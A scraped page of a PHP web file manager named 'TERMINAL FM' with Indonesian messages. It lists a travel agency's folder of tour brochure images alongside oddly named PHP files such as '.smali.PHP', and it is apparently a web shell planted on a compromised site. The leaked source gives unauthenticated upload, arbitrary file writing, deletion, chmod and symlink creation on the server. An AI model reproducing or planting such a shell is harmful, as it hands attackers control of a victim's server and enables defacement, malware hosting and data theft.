96 items
NAME ↑ SIZE MODIFIED PERMS ACTIONS
.. / Parent Directory
banner — dir
2026-01-22 12:41 · rwxr-xr-x
2026-01-22 12:41 rwxr-xr-x
.smali.PHP — 65.64 KB
2026-06-07 07:39 · rw-r--r--
65.64 KB 2026-06-07 07:39 rw-r--r--
3.png — 2.1 MB
2025-03-20 07:39 · rw-r--r--
2.1 MB 2025-03-20 07:39 rw-r--r--
7N8D Vietnam Cambodia.jpg — 1.2 MB
2025-07-03 05:07 · rw-r--r--
1.2 MB 2025-07-03 05:07 rw-r--r--
8N9D Vietnam Cambodia.jpg — 1.08 MB
2025-07-03 05:07 · rw-r--r--
1.08 MB 2025-07-03 05:07 rw-r--r--
9N10D Vietnam.jpg — 853.45 KB
2025-07-03 05:07 · rw-r--r--
853.45 KB 2025-07-03 05:07 rw-r--r--
almaty 4n-5d.jpg — 964.56 KB
2026-02-09 13:04 · rw-r--r--
964.56 KB 2026-02-09 13:04 rw-r--r--
Astvinayak.jpg — 750.01 KB
2026-03-05 07:13 · rw-r--r--
750.01 KB 2026-03-05 07:13 rw-r--r--
Ayodhya 2n-3d.jpg — 774.41 KB
2025-06-11 11:12 · rw-r--r--
774.41 KB 2025-06-11 11:12 rw-r--r--
Ayodhya 4n-5d.jpg — 1.02 MB
2025-06-11 09:27 · rw-r--r--
1.02 MB 2025-06-11 09:27 rw-r--r--
baku.jpg — 747.45 KB
2025-03-20 07:39 · rw-r--r--
747.45 KB 2025-03-20 07:39 rw-r--r--
bali 5n.jpg — 1.26 MB
2026-03-05 07:56 · rw-r--r--
1.26 MB 2026-03-05 07:56 rw-r--r--
bali 6n-7d holi.jpg — 865.13 KB
2026-03-05 07:56 · rw-r--r--
865.13 KB 2026-03-05 07:56 rw-r--r--
BALI 6N-7D.jpg — 1.28 MB
2025-07-03 05:08 · rw-r--r--
1.28 MB 2025-07-03 05:08 rw-r--r--
Bali 6n-7d.jpg — 955.67 KB
2026-01-22 05:51 · rw-r--r--
955.67 KB 2026-01-22 05:51 rw-r--r--
Bali 6n-7days.jpg — 880.55 KB
2026-01-27 06:59 · rw-r--r--
880.55 KB 2026-01-27 06:59 rw-r--r--
bali 7n-8d with flight.jpg — 966.33 KB
2026-01-22 05:51 · rw-r--r--
966.33 KB 2026-01-22 05:51 rw-r--r--
Bali 7n-8d.jpg — 1010.36 KB
2025-06-03 09:34 · rw-r--r--
1010.36 KB 2025-06-03 09:34 rw-r--r--
bali.jpg — 746.06 KB
2025-11-11 09:08 · rw-r--r--
746.06 KB 2025-11-11 09:08 rw-r--r--
Bangkok Pattaya 5n-6d.jpg — 991.47 KB
2025-06-05 10:46 · rw-r--r--
991.47 KB 2025-06-05 10:46 rw-r--r--
bhutan.jpg — 771.56 KB
2025-11-11 09:09 · rw-r--r--
771.56 KB 2025-11-11 09:09 rw-r--r--
bkk.jpg — 796.8 KB
2025-11-11 09:09 · rw-r--r--
796.8 KB 2025-11-11 09:09 rw-r--r--
chardham helicopter.jpg — 1.04 MB
2026-01-22 05:51 · rw-r--r--
1.04 MB 2026-01-22 05:51 rw-r--r--
Chardham yatra ex surat.jpg — 1.21 MB
2026-03-05 07:14 · rw-r--r--
1.21 MB 2026-03-05 07:14 rw-r--r--
Chardham yatra.jpg — 1.35 MB
2026-03-05 07:15 · rw-r--r--
1.35 MB 2026-03-05 07:15 rw-r--r--
class_function.PHP — 44.64 KB
2026-06-06 13:28 · rw-r--r--
44.64 KB 2026-06-06 13:28 rw-r--r--
cruise.jpg — 666.08 KB
2025-03-20 07:39 · rw-r--r--
666.08 KB 2025-03-20 07:39 rw-r--r--
DAMAN.jpg — 1.08 MB
2026-05-25 09:18 · rw-r--r--
1.08 MB 2026-05-25 09:18 rw-r--r--
Diwali Hongkong 7n-8d-01-01.jpg — 5.64 MB
2025-07-08 07:11 · rw-r--r--
5.64 MB 2025-07-08 07:11 rw-r--r--
do dham helicopter.jpg — 1.07 MB
2026-03-05 07:15 · rw-r--r--
1.07 MB 2026-03-05 07:15 rw-r--r--
Dubai 4n-5d-.jpg — 857.29 KB
2026-03-05 07:57 · rw-r--r--
857.29 KB 2026-03-05 07:57 rw-r--r--
dubai.jpg — 711.76 KB
2025-11-17 13:20 · rw-r--r--
711.76 KB 2025-11-17 13:20 rw-r--r--
dwarka.jpg — 941.65 KB
2026-01-22 05:47 · rw-r--r--
941.65 KB 2026-01-22 05:47 rw-r--r--
europe with london.jpg — 745.45 KB
2026-01-22 05:52 · rw-r--r--
745.45 KB 2026-01-22 05:52 rw-r--r--
europe.jpg — 1.07 MB
2026-01-22 05:52 · rw-r--r--
1.07 MB 2026-01-22 05:52 rw-r--r--
European 15N-16D.jpg — 941.65 KB
2026-01-22 05:52 · rw-r--r--
941.65 KB 2026-01-22 05:52 rw-r--r--
gir.jpg — 974.44 KB
2026-03-05 07:16 · rw-r--r--
974.44 KB 2026-03-05 07:16 rw-r--r--
goa chalo.jpg — 2.47 MB
2026-05-25 09:18 · rw-r--r--
2.47 MB 2026-05-25 09:18 rw-r--r--
goa new year cp.jpg — 1.02 MB
2025-11-17 13:21 · rw-r--r--
1.02 MB 2025-11-17 13:21 rw-r--r--
goa new year.jpg — 1.02 MB
2025-11-17 13:21 · rw-r--r--
1.02 MB 2025-11-17 13:21 rw-r--r--
goa.jpg — 1018.37 KB
2026-02-09 13:05 · rw-r--r--
1018.37 KB 2026-02-09 13:05 rw-r--r--
goa1.jpg — 1.48 MB
2026-03-24 09:54 · rw-r--r--
1.48 MB 2026-03-24 09:54 rw-r--r--
goa2.jpg — 1.56 MB
2026-03-24 09:55 · rw-r--r--
1.56 MB 2026-03-24 09:55 rw-r--r--
goa3.jpg — 1.65 MB
2026-03-24 09:55 · rw-r--r--
1.65 MB 2026-03-24 09:55 rw-r--r--
goa4.jpg — 1.41 MB
2026-03-24 09:55 · rw-r--r--
1.41 MB 2026-03-24 09:55 rw-r--r--
goa_special.jpg — 511.63 KB
2025-03-20 07:39 · rw-r--r--
511.63 KB 2025-03-20 07:39 rw-r--r--
hongkong 6n.jpg — 958.5 KB
2026-03-05 07:57 · rw-r--r--
958.5 KB 2026-03-05 07:57 rw-r--r--
hydrabad.jpg — 996.51 KB
2026-03-05 07:18 · rw-r--r--
996.51 KB 2026-03-05 07:18 rw-r--r--
Hydrabada.jpg — 806.9 KB
2026-05-25 09:19 · rw-r--r--
806.9 KB 2026-05-25 09:19 rw-r--r--
IMG_20260605_151708_282.jpg — 69.07 KB
2026-06-06 13:25 · rw-r--r--
69.07 KB 2026-06-06 13:25 rw-r--r--
Italy Paris.jpg — 1.01 MB
2026-01-22 05:52 · rw-r--r--
1.01 MB 2026-01-22 05:52 rw-r--r--
jaipur pink.jpg — 890.42 KB
2026-05-25 09:19 · rw-r--r--
890.42 KB 2026-05-25 09:19 rw-r--r--
jaipur.jpg — 983.45 KB
2026-01-22 05:48 · rw-r--r--
983.45 KB 2026-01-22 05:48 rw-r--r--
jim corbett.jpg — 811.79 KB
2025-11-11 09:09 · rw-r--r--
811.79 KB 2025-11-11 09:09 rw-r--r--
kashmir.jpg — 844.02 KB
2025-11-11 09:09 · rw-r--r--
844.02 KB 2025-11-11 09:09 rw-r--r--
kasmir.jpg — 1007.97 KB
2026-03-05 07:18 · rw-r--r--
1007.97 KB 2026-03-05 07:18 rw-r--r--
katra vaishnodevi.jpg — 944.61 KB
2026-05-25 09:20 · rw-r--r--
944.61 KB 2026-05-25 09:20 rw-r--r--
katra.jpg — 906.61 KB
2026-01-22 05:49 · rw-r--r--
906.61 KB 2026-01-22 05:49 rw-r--r--
kerala.jpg — 1.02 MB
2026-01-29 13:07 · rw-r--r--
1.02 MB 2026-01-29 13:07 rw-r--r--
khatu shyam.jpg — 988.71 KB
2026-01-27 13:06 · rw-r--r--
988.71 KB 2026-01-27 13:06 rw-r--r--
Lonavala 2n-3d.jpg — 759.24 KB
2025-06-03 10:19 · rw-r--r--
759.24 KB 2025-06-03 10:19 rw-r--r--
Mahabaleshwar 2n-3d.jpg — 838.97 KB
2025-06-03 10:06 · rw-r--r--
838.97 KB 2025-06-03 10:06 rw-r--r--
maharastra.jpg — 795.17 KB
2025-11-11 09:10 · rw-r--r--
795.17 KB 2025-11-11 09:10 rw-r--r--
manali 6n-7d.jpg — 1021.74 KB
2026-01-27 06:59 · rw-r--r--
1021.74 KB 2026-01-27 06:59 rw-r--r--
Mini Europe 9N-10D.jpg — 883.69 KB
2026-01-22 05:52 · rw-r--r--
883.69 KB 2026-01-22 05:52 rw-r--r--
mp 7n.jpg — 1.44 MB
2026-05-25 09:21 · rw-r--r--
1.44 MB 2026-05-25 09:21 rw-r--r--
mp.jpg — 1.36 MB
2026-01-24 06:50 · rw-r--r--
1.36 MB 2026-01-24 06:50 rw-r--r--
nanital.jpg — 803.53 KB
2025-11-11 09:10 · rw-r--r--
803.53 KB 2025-11-11 09:10 rw-r--r--
nepal.jpg — 1.34 MB
2026-05-25 09:21 · rw-r--r--
1.34 MB 2026-05-25 09:21 rw-r--r--
odisha.jpg — 811.16 KB
2025-11-17 13:29 · rw-r--r--
811.16 KB 2025-11-17 13:29 rw-r--r--
Panchgani 2n-3d.jpg — 565.33 KB
2025-06-03 10:19 · rw-r--r--
565.33 KB 2025-06-03 10:19 rw-r--r--
Pattaya 4n-5d.jpg — 908.19 KB
2025-06-03 10:05 · rw-r--r--
908.19 KB 2025-06-03 10:05 rw-r--r--
Phuket Karbi 5n-6d.jpg — 1.09 MB
2025-07-08 07:11 · rw-r--r--
1.09 MB 2025-07-08 07:11 rw-r--r--
Phuket Karbi Bangkok 6n-7d.jpg — 984.96 KB
2025-06-06 08:21 · rw-r--r--
984.96 KB 2025-06-06 08:21 rw-r--r--
Puri 6n-7d.jpg — 1.24 MB
2026-01-28 09:02 · rw-r--r--
1.24 MB 2026-01-28 09:02 rw-r--r--
Puri.jpg — 1013.78 KB
2026-01-22 05:47 · rw-r--r--
1013.78 KB 2026-01-22 05:47 rw-r--r--
sikkim darjiling.jpg — 848.3 KB
2025-11-11 09:10 · rw-r--r--
848.3 KB 2025-11-11 09:10 rw-r--r--
sikkim.jpg — 790.46 KB
2025-11-11 09:10 · rw-r--r--
790.46 KB 2025-11-11 09:10 rw-r--r--
udaipur jodhpur.jpg — 769.91 KB
2026-05-25 09:17 · rw-r--r--
769.91 KB 2026-05-25 09:17 rw-r--r--
ujjain.jpg — 1.22 MB
2026-03-05 07:08 · rw-r--r--
1.22 MB 2026-03-05 07:08 rw-r--r--
VALANTINE SIKKIM.jpg — 905.14 KB
2025-11-11 09:10 · rw-r--r--
905.14 KB 2025-11-11 09:10 rw-r--r--
varansi.jpg — 813.09 KB
2026-05-25 09:18 · rw-r--r--
813.09 KB 2026-05-25 09:18 rw-r--r--
Vieatnam 7n-8d.jpg — 1.1 MB
2025-06-06 12:06 · rw-r--r--
1.1 MB 2025-06-06 12:06 rw-r--r--
Vieatnam 9n-10d-.jpg — 1.18 MB
2026-02-09 13:04 · rw-r--r--
1.18 MB 2026-02-09 13:04 rw-r--r--
Vieatnam 9n-10d.jpg — 1.12 MB
2026-01-22 05:52 · rw-r--r--
1.12 MB 2026-01-22 05:52 rw-r--r--
WhatsApp Image 2024-12-27 at 3.08.56 PM.jpeg — 381.67 KB
2025-03-20 07:39 · rw-r--r--
381.67 KB 2025-03-20 07:39 rw-r--r--
WhatsApp Image 2025-03-08 at 13.44.37_a39da6a3.jpg — 374.93 KB
2025-03-20 14:24 · rw-r--r--
374.93 KB 2025-03-20 14:24 rw-r--r--
WhatsApp Image 2025-03-11 at 10.55.51_ac112366.jpg — 235.12 KB
2025-03-20 14:24 · rw-r--r--
235.12 KB 2025-03-20 14:24 rw-r--r--
WhatsApp Image 2025-03-17 at 17.41.28_d6117e83.jpg — 372.36 KB
2025-03-20 14:22 · rw-r--r--
372.36 KB 2025-03-20 14:22 rw-r--r--
WhatsApp Image 2025-03-20 at 17.39.56_b744915b.jpg — 261.61 KB
2025-03-20 14:22 · rw-r--r--
261.61 KB 2025-03-20 14:22 rw-r--r--
WhatsApp Image 2025-03-25 at 13.27.22_b9314002.jpg — 298.95 KB
2025-03-28 12:26 · rw-r--r--
298.95 KB 2025-03-28 12:26 rw-r--r--
WhatsApp Image 2025-03-29 at 17.48.17_83557813.jpg — 449.18 KB
2025-04-10 08:06 · rw-r--r--
449.18 KB 2025-04-10 08:06 rw-r--r--
WhatsApp Image 2025-03-29 at 18.52.29_a29da148.jpg — 405.73 KB
2025-04-10 08:06 · rw-r--r--
405.73 KB 2025-04-10 08:06 rw-r--r--
WhatsApp Image 2025-03-31 at 11.44.50_a08b856f.jpg — 456.26 KB
2025-04-10 08:06 · rw-r--r--
456.26 KB 2025-04-10 08:06 rw-r--r--
WhatsApp Image 2025-03-31 at 11.54.21_719c32c3.jpg — 475.36 KB
2025-04-10 08:07 · rw-r--r--
475.36 KB 2025-04-10 08:07 rw-r--r--
Wonder Europe 12N-13D.jpg — 1.07 MB
2026-01-22 05:53 · rw-r--r--
1.07 MB 2026-01-22 05:53 rw-r--r--
ONLINE
post
96 items
06:59:37
TERMINAL FM
Edit
Preview
Download
Rename
Copy
Chmod
Delete
$p, 'path' => $acc]; } return $crumbs; } function fmt_size(int $b): string { if ($b === 0) return '0 B'; $u = ['B','KB','MB','GB','TB']; $i = (int) floor(log($b, 1024)); return round($b / pow(1024, $i), 2) . ' ' . $u[$i]; } function fmt_time(int $ts): string { return date('Y-m-d H:i', $ts); } function file_icon(string $name, bool $is_dir): string { if ($is_dir) return 'folder'; $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $map = [ 'php' => 'code-slash', 'js' => 'filetype-js', 'ts' => 'filetype-js', 'html' => 'filetype-html', 'htm' => 'filetype-html', 'css' => 'filetype-css', 'json' => 'filetype-json', 'xml' => 'filetype-xml', 'jpg' => 'file-image', 'jpeg' => 'file-image', 'png' => 'file-image', 'gif' => 'file-image', 'svg' => 'file-image', 'webp' => 'file-image', 'mp4' => 'file-play', 'avi' => 'file-play', 'mkv' => 'file-play', 'mov' => 'file-play', 'mp3' => 'file-music', 'wav' => 'file-music', 'ogg' => 'file-music', 'zip' => 'file-zip', 'tar' => 'file-zip', 'gz' => 'file-zip', 'rar' => 'file-zip', 'pdf' => 'file-pdf', 'txt' => 'file-text', 'md' => 'file-text', 'sql' => 'database', 'db' => 'database', 'sqlite' => 'database', 'sh' => 'terminal', 'bash' => 'terminal', 'py' => 'code-slash', ]; return $map[$ext] ?? 'file-earmark'; } function is_editable(string $name): bool { $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $editable = ['php','js','ts','html','htm','css','json','xml','txt','md','sh','py','sql','env','htaccess','conf','ini','yaml','yml','log','csv']; return in_array($ext, $editable) || !str_contains($name, '.'); } function is_image(string $name): bool { $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); return in_array($ext, ['jpg','jpeg','png','gif','svg','webp','ico']); } function get_perms(string $path): string { $p = fileperms($path); $r = ($p & 0x0100 ? 'r' : '-') . ($p & 0x0080 ? 'w' : '-') . ($p & 0x0040 ? 'x' : '-'); $r .= ($p & 0x0020 ? 'r' : '-') . ($p & 0x0010 ? 'w' : '-') . ($p & 0x0008 ? 'x' : '-'); $r .= ($p & 0x0004 ? 'r' : '-') . ($p & 0x0002 ? 'w' : '-') . ($p & 0x0001 ? 'x' : '-'); return $r; } // ─── RECURSIVE FUNCTIONS ────────────────────────────────────────────────────── function rrmdir(string $dir): void { foreach (scandir($dir) as $f) { if ($f === '.' || $f === '..') continue; $p = $dir . DIRECTORY_SEPARATOR . $f; is_dir($p) ? rrmdir($p) : unlink($p); } rmdir($dir); } function dir_size(string $dir): int { $size = 0; foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS)) as $f) { $size += $f->getSize(); } return $size; } function count_items(string $dir): int { return count(array_diff(scandir($dir), ['.', '..'])); } // ─── ACTION HANDLER ─────────────────────────────────────────────────────────── $rel_p = cur_rel(); $abs_p = safe_path($rel_p); $flash = ''; $flash_type = 'ok'; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = $_POST['action'] ?? ''; $name = basename(trim($_POST['name'] ?? '')); $target = $abs_p . DIRECTORY_SEPARATOR . $name; try { switch ($action) { case 'new_dir': if (!$name) throw new Exception('Nama folder kosong'); if (!mkdir($target, 0755, true)) throw new Exception('Gagal buat folder'); $flash = "Folder '$name' dibuat."; break; case 'new_file': if (!$name) throw new Exception('Nama file kosong'); if (file_exists($target)) throw new Exception('File sudah ada'); file_put_contents($target, ''); $flash = "File '$name' dibuat."; break; case 'upload': if (empty($_FILES['ufiles']['name'][0])) throw new Exception('Tidak ada file'); $count = 0; foreach ($_FILES['ufiles']['tmp_name'] as $i => $tmp) { if (!$_FILES['ufiles']['error'][$i]) { $fn = basename($_FILES['ufiles']['name'][$i]); move_uploaded_file($tmp, $abs_p . DIRECTORY_SEPARATOR . $fn); $count++; } } $flash = "$count file berhasil diupload."; break; case 'delete': if (!$name || !file_exists($target)) throw new Exception('File/folder tidak ditemukan'); if (realpath($target) === ROOT_PATH) throw new Exception('Tidak bisa hapus root!'); is_dir($target) ? rrmdir($target) : unlink($target); $flash = "'$name' dihapus."; break; case 'save': $fn = basename($_POST['fn'] ?? ''); if (!$fn) throw new Exception('Nama file invalid'); file_put_contents($abs_p . DIRECTORY_SEPARATOR . $fn, $_POST['content'] ?? ''); $flash = "File '$fn' disimpan."; break; case 'rename': $new_name = basename(trim($_POST['new_name'] ?? '')); if (!$name || !$new_name) throw new Exception('Nama invalid'); $new_target = $abs_p . DIRECTORY_SEPARATOR . $new_name; if (!rename($target, $new_target)) throw new Exception('Gagal rename'); $flash = "Renamed: '$name' → '$new_name'"; break; case 'chmod': $mode = octdec($_POST['mode'] ?? '755'); if (!chmod($target, $mode)) throw new Exception('Gagal chmod'); $flash = "Chmod '$name' → " . $_POST['mode']; break; case 'copy_file': $dest_name = basename(trim($_POST['dest_name'] ?? '')); if (!$dest_name) $dest_name = 'copy_' . $name; $dest = $abs_p . DIRECTORY_SEPARATOR . $dest_name; if (!copy($target, $dest)) throw new Exception('Gagal copy'); $flash = "Copied: '$name' → '$dest_name'"; break; case 'new_symlink': $link_target = trim($_POST['link_target'] ?? ''); $link_name = trim($_POST['link_name'] ?? ''); if (!$link_target || !$link_name) throw new Exception('Target atau nama link kosong'); symlink($link_target, $abs_p . DIRECTORY_SEPARATOR . $link_name); $flash = "Symlink '$link_name' dibuat."; break; } } catch (Exception $e) { $flash = $e->getMessage(); $flash_type = 'err'; } if ($action !== 'save' || $flash_type === 'err') { $redir_p = ($action === 'delete' && is_dir($target) === false && !$flash_type) ? $rel_p : $rel_p; header("Location: " . SELF . "?p=" . urlencode($rel_p) . "&flash=" . urlencode($flash) . "&ft=" . $flash_type); exit; } } // Flash from redirect if (!$flash && isset($_GET['flash'])) { $flash = $_GET['flash']; $flash_type = $_GET['ft'] ?? 'ok'; } // Editor mode $edit_file = isset($_GET['edit']) ? basename($_GET['edit']) : null; $edit_path = $edit_file ? ($abs_p . DIRECTORY_SEPARATOR . $edit_file) : null; $edit_cont = ($edit_path && is_file($edit_path) && is_editable($edit_file)) ? file_get_contents($edit_path) : null; // Preview mode $preview_file = isset($_GET['view']) ? basename($_GET['view']) : null; $preview_path = $preview_file ? ($abs_p . DIRECTORY_SEPARATOR . $preview_file) : null; $preview_is_img = $preview_file && is_image($preview_file); // Sort & filter $sort = $_GET['sort'] ?? 'name'; $order = $_GET['order'] ?? 'asc'; $search = trim($_GET['q'] ?? ''); // List directory $dirs = $files = []; if (is_dir($abs_p)) { $raw = array_diff(scandir($abs_p), ['.', '..', SELF]); foreach ($raw as $item) { $full = $abs_p . DIRECTORY_SEPARATOR . $item; if ($search && stripos($item, $search) === false) continue; $entry = [ 'name' => $item, 'full' => $full, 'is_dir' => is_dir($full), 'size' => is_file($full) ? filesize($full) : 0, 'mtime' => filemtime($full), 'perms' => get_perms($full), 'link' => is_link($full), ]; $entry['is_dir'] ? $dirs[] = $entry : $files[] = $entry; } } // Sort $sorter = fn($a, $b) => match($sort) { 'size' => $a['size'] <=> $b['size'], 'date' => $a['mtime'] <=> $b['mtime'], default => strcasecmp($a['name'], $b['name']), }; usort($dirs, $sorter); usort($files, $sorter); if ($order === 'desc') { $dirs = array_reverse($dirs); $files = array_reverse($files); } $items = array_merge($dirs, $files); $crumbs = breadcrumbs($rel_p); // Disk info $disk_total = disk_total_space($abs_p); $disk_free = disk_free_space($abs_p); $disk_used = $disk_total - $disk_free; $disk_pct = $disk_total ? round($disk_used / $disk_total * 100) : 0; $php_v = PHP_VERSION; $uname = php_uname('s') . ' ' . php_uname('r'); $item_count = count($items); ?> TERMINAL FM // <?= htmlspecialchars($rel_p ?: '/') ?> 'icon-php', in_array($ext, ['jpg','jpeg','png','gif','svg','webp','ico']) => 'icon-img', in_array($ext, ['js','ts','html','htm','css','json','xml','py','sh','sql','md']) => 'icon-code', in_array($ext, ['zip','tar','gz','rar','7z']) => 'icon-zip', in_array($ext, ['db','sqlite','sql']) => 'icon-db', in_array($ext, ['mp4','mp3','wav','avi','mkv','mov','ogg']) => 'icon-med', default => 'icon-file', }; return $p; } ?>
EDITOR
CLOSE
Ln 1, Col 1
PREVIEW //
CLOSE
items

Directory is empty

No results for ""

NAME ACTIONS
.. / Parent Directory
LINK LINK
ONLINE
items
Edit
Preview
Download
Rename
Copy
Chmod
Delete